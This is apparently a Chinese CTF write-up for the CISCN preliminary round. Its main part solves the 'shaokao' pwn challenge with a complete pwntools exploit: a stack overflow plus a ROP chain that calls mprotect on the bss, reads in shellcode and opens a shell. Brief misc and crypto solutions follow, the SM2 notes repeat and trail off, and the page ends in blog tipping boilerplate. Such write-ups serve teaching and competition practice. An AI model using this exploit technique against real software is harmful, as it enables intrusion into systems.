ciscn_pwn_shaokao


ciscn初赛wp

pwn

shaokao

检查:

image-20230527170343950

发现是64位静态链接文件

ida查看:

main

image-20230527170503429

menu

image-20230527170530084

可以看到这里有一个if判断才可执行的“改名”

image-20230527170634568

很明显这里有一个栈溢出:

io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶?\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')

拿到改名选项。

但是这题没有给我们system和binsh所以只能换种思路:因为是静态链接,所以一定有mprotect函数,可以直接更改段权限,这里我们可以直接更改bss段的权限,然后直接把shallcode写入bss段执行,又因为是64位,所以需要寄存器传参:

mprotect:

#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

参考:Linux中mprotect()函数详解__bob_h的博客-CSDN博客

所以这里就可以更改权限:

payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\ p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+p64(read)+p64(buf_addr)#这里实际找到的pop_rdx只有两个

image-20230527172614882

所以还要多传一个参数

通过rdi,rsi,rdx三个寄存器给mprotect传参更改权限,然后ret到read函数的地址写入shellcode,再跳转到shellcode处执行

注:这里bss段的地址只能选用4kb整数倍的地址。

exp

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
context(terminal = ['tmux','split','-h'])
# io =remote('123.56.238.150',24460)
io = process('./shaokao')
mp_addr = 0x0458B00
pop_rdi = 0x040264f
pop_rsi = 0x040a67e
pop_rdx = 0x04a404b
read = 0x0457DD0
buf_addr = 0x4E9000
bss_addr = 0x4E9000

io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶?\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
# gdb.attach(io)
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\
    p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+\
    p64(read)+p64(buf_addr)
io.recvuntil("请赐名:\n".encode('utf-8'))
shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)

io.interactive()

misc

使用wireshark打开:

直接追踪tcp流:

image-20230528174521395

中间红色部分拼接:

MMYWMX3GNEYWOXZRGAYDA===

直接base32解码:

flag:

c1f_fi1g_1000

Crypto

sign in passwd

用给的第二行数据进行base64换表,再解码:

from base64 import*
T1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
T2 = 'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF'
T2 = 'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
enc = 'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
str = ''
for i in range(len(enc)):
   str += T1[T2.index(enc[i])]
# str = base64.b64decode(str)
print(str)
   

得出:

ZmxhZ3s4ZTRiMjg4OC02MTQ4LTQwMDMtYjcyNS0zZmYwZDkzYTZlZTR9

解码:

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

国密sm2

做题时的记录:

"id": "45c620d1-0c23-4e75-aa49-484f769dc6e8"

A_prvite=2ABD46BACD79A7DE3E494056F80C3A802776CF454FB60EB4021D3162FA4BC3BC

A_public=E7EA0C52F83B28EC7449FDE2346650BA108BEF938E6622A279726B27FCB48D8650A324962C3B7E1857968FB2C734323FC65B675755BFC583EE343431D3E6B906

B_private=597a62be8f1f746b104b060351e7841e3a84d1a07b78f76908c420d8d467ce47

B_pub=0438e483c718bae10e03d4ed4476bd28131383860034b47364a48d27436e23acd2328de25edd07519be64874d88734f4cc2eb9fff2756065f5745f229d206cbdf3

random=9a770cae67c0277737b704dfcf02663dd278f8eb1fb46ddedbf1762ec0c75057a66614843af1624b68502c3487de72fb0fc661e1e713c333021afd36fe78d2d276fb8be13315b68870b9a825b86654e699cb2c92ee07d6f460e93e8dd6c75081009dbe7d1d1b2a9af28aae6fad3e6aa5

 "quantumString": "fd11b5ac03f85cd368d9234f847f2936a08ca3531468d4c67d3e3a002966725ccb0b793d12e4b0ad55689b72ac916998b4cba165c68ba09252b9f6724a28f7767921e9ddd63768530fd99e6738925cee8762d61ac2f9e29397dbbefd53110d26605bda47ab788e5548bc8ea3a77395fc"

随机数铭文:29 24 55 C9 3D 98 EA 1A 4B 25 8E A8 8D 97 77 30 

B_pri明文=


E8 B4 BA 6E F1 3A CE 6C  DC D2 79 FF DA D6 54 49
25 74 18 94 2B 0C EF 92  F1 9A 81 AF 02 66 62 6E

E34E5F83817D03A55E257D0214CD04E774E372FC451F1157773C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE

EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA 

根据给的文件做就可以.

C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE

EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA


根据给的文件做就可以.

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值